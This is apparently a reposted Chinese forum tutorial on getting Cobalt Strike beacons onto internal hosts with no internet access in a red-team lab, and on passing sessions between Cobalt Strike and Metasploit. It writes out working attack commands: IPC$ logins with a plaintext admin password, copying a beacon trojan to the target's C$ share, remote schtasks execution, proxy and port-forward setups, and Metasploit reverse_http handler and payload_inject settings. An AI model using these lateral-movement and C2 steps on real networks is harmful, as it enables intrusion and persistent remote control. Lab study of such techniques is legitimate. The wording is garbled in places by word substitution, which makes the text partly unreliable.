莱莱 发表于 2024-6-30 23:36:30

内网穿透之不出网上线CobaltStrike技巧

目次

[*]前言
[*]smb beacon上线
[*]tcp listener转发上线
[*]http代理上线
[*]tcp beacon正向连接上线
[*]题外话 — cs和msf的权限传递

[*]cs派生给msf
[*]msf派生给cs


前言

出网or不出网?
目标可以正常访问互联网,可直接在目标机挂socks代理或直接CS上线。而更多的环境是,内网中的服务器和主机不通外网,这样通常环境是无法直接实现CS上线操纵的。
不出网的缘故原由无外乎两种:

[*]网络协议被限定
[*]网络通信不通
办理办法也有两种:

[*]隧道技术:将一种网络协议的数据封装在另一种网络协议的数据包中传输,绕过网络协议的限定
[*]代理技术:使用出网的跳板机作为代理,间接上线不出网的主机
环境搭建:
内网环境继承使用之前的红日靶场:作为web服务器的win7主机接纳双网卡,内网windows 2008不出网。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630202743922-1182535967.png
smb beacon上线

官网先容:
SMB Beacon使用定名管道通过父级Beacon进行通信,当两个Beacon连接后,子Beacon从父Beacon获取到任务并发送。因为连接的Beacon使用Windows定名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对潜伏。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240629234349204-1945982154.png
上面这个图就可以说明它们之间的关系,上线跳板机的是父Beacon,SMB Beacon作为子Beacon获取任务通过SMB隧道发送给目标主机。
SMB Beacon的使用条件如下:

[*]具有SMB Beacon的主机必须接受445端口上的连接
[*]只能链接由同一个CobaltStrike实例管理的Beacon
[*]使用这种Beacon横移必须有目标主机的管理员权限或者拥有具有管理员权限的凭据
使用HTTP Beacon上线win7跳板机:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630114325082-1269758681.png
创建一个SMB Beacon监听器:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630114604351-1774538750.png
进入Beacon控制台,输入spawn SMB Beacon的监听器名称派生会话,运行成功后在external中可以看到IP后有个∞∞字符的派生SMB Beacon。
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630114907024-967074355.png
下一步使用派生的SMB Beacon来上线不出网主机,前提是已知目标机器的管理员账号的明文密码或密码哈希,使用SMB Beacon正向连接让其上线。
抓取hash和明文密码,获取密码凭据,选择目标主机OWA(win 2008)选择使用psexec64横向移动:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630144221123-1941292440.png
内网OWA主机成功上线:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630144311288-1244530122.png
运行成功后在external中可以看到IP后有个∞∞字符,这是派生的SMB Beacon。
tcp listener转发上线

在已上线的win7跳板机创建listener,设置监听器代理转发:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630150746103-1955911465.png
转发监听器可以使用己攻陷的win7作为代理,为其他Beacon会话的中转网络流量:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630150846409-934036565.png
天生一个stageless木马:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630162225075-651255465.png
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630162408930-1933062158.png
将木立刻传至win7跳板机:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630153146830-1970695077.png
与目标主机建立IPC$连接:
shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630175005258-1478945263.png
将win7跳板机的木马文件copy到目标主机的C共享盘下:
shell copy C:\phpStudy\WWW\beacon_x64.exe \\192.168.52.138\C$https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630161123665-1708499213.png
远程创建目标主机计划任务执行木马:
shell schtasks /create /s 192.168.52.138 /u Administrator /p "hongrisec@2019" /sc MINUTE /mo 1 /tn test /tr "C:\beacon_x64.exe"https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630161215041-1980959541.png
此时跳板机4444端口监听器会等待目标主机木马反弹连接,然后将流量转发到cs上线。
http代理上线

必要使用到代理工具goproxy来搭建http代理,项目地点:https://github.com/snail007/goproxy
上传proxy.exe到web服务器,在8080端口开启http代理:
shell C:\phpStudy\WWW\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon然后再使用netsh下令在win7跳板机上做一个端口转发,将内网的822端口转发到外网的8080上:
netsh interface portproxy add v4tov4 listenaddress=192.168.52.143 listenport=3422 connectaddress=192.168.88.146 connectport=8080https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630182007965-223273238.png
设置一个HTTP Beacon监听器,http代理设置为win7跳板机内网的822端口:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630180134814-636653109.png
天生一个stageless木马,选择为刚才设置过http代理的监听器:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630180325137-779265506.png
然后将天生的木立刻传至win7跳板机,再由跳板机与目标主机建立IPC$连接,将木立刻传到目标主机,远程创建目标机计划任务执行木马。
木马会去连接822端口,win7再将822端口的http流量转发到外网的8080,最后由8080端口将流量转发到cs上线。
连接过程:
192.168.52.138(OWA) --> 192.168.52.143:822 --> 192.168.88.146:8080 --> 192.168.88.128:81(CS)https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630182901149-1750600015.png
遇到一个很头疼的题目,当执行netsh下令后,在0.0.0.0监听的8080就消失了......
tcp beacon正向连接上线

tcp beacon正向连接和smb上线很类似,smb beacon是自动连接目标主机445端口建立smb隧道。而tcp正向连接是使用已上线跳板机自动与上传了木马的目标主机建立tcp连接,从而上线目标主机。
设置一个tcp正向连接的监听器:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630191905005-1601877759.png
使用tcp正向连接的监听器天生stageless木马:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630192125415-126692533.png
还是上面一样,还是使用跳板机与目标主机建立IPC$连接,上传木马到目标主机:
shell net use \\192.168.52.138\C$ /user:Administrator "hongrisec@2019"

shell copy C:\phpStudy\WWW\b_beacon_x64.exe \\192.168.52.138\C$https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630194606984-1834521166.png
跳板机执行connect指令连接目标主机木马:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240630195447524-2088224778.png
内网OWA主机成功上线。
题外话 — cs和msf的权限传递

当目标上线cs以后,可以轻松地将cs权限转移到msf上,继承借助msf完成后续的渗出。
环境:msf6 + cs4.8
cs派生给msf

1)在msf上启用reverse_http模块监听本地端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4444https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627200235750-441150342.png
2)在cs上创建一个foreign http监听,ip和端口设置为msf监听的ip和端口:
Foreign监听器支持与其他软件的监听器进行派生(spawn)
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627200301382-2139288407.png
3)右键 —> 凭据提权 —> 新建会话 —> 选择创建的foreign http监听:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627200751002-201339181.png
msf成功拿到会话:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627200921986-554490456.png
msf派生给cs

条件:msf已获取meterpreter shell
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627201035115-1975090773.png
在cs上创建一个http beacon的监听器:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627201145390-1448816018.png
msf启用payload_inject模块,将ip和端口设置为cs监听的ip和端口:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.88.128
set lport 4567
set session 1
set DisablePayloadHandler true注意:msf的payload和cs的监听器要保持一致
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627201402462-1328124701.png
cs成功拿到会话:
https://img2024.cnblogs.com/blog/3222269/202406/3222269-20240627201417817-731675380.png
总结:
对于这种边沿主机可以出网的环境,重要思绪就是借助边沿的跳板机反向代理把内网主机带出来,再或者是跳板机正向去连接内网主机。反向代理的一个缺点就是,内网主机在出网的时候必要经过各种转发,所谓步骤越多就越轻易失败......个人感觉在内网渗出时条件允许的环境下,首选正向连接,会比较稳定。
参考文章:
https://xz.aliyun.com/t/13918
https://xz.aliyun.com/t/8671
若有错误,欢迎指正!o( ̄▽ ̄)ブ

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 内网穿透之不出网上线CobaltStrike技巧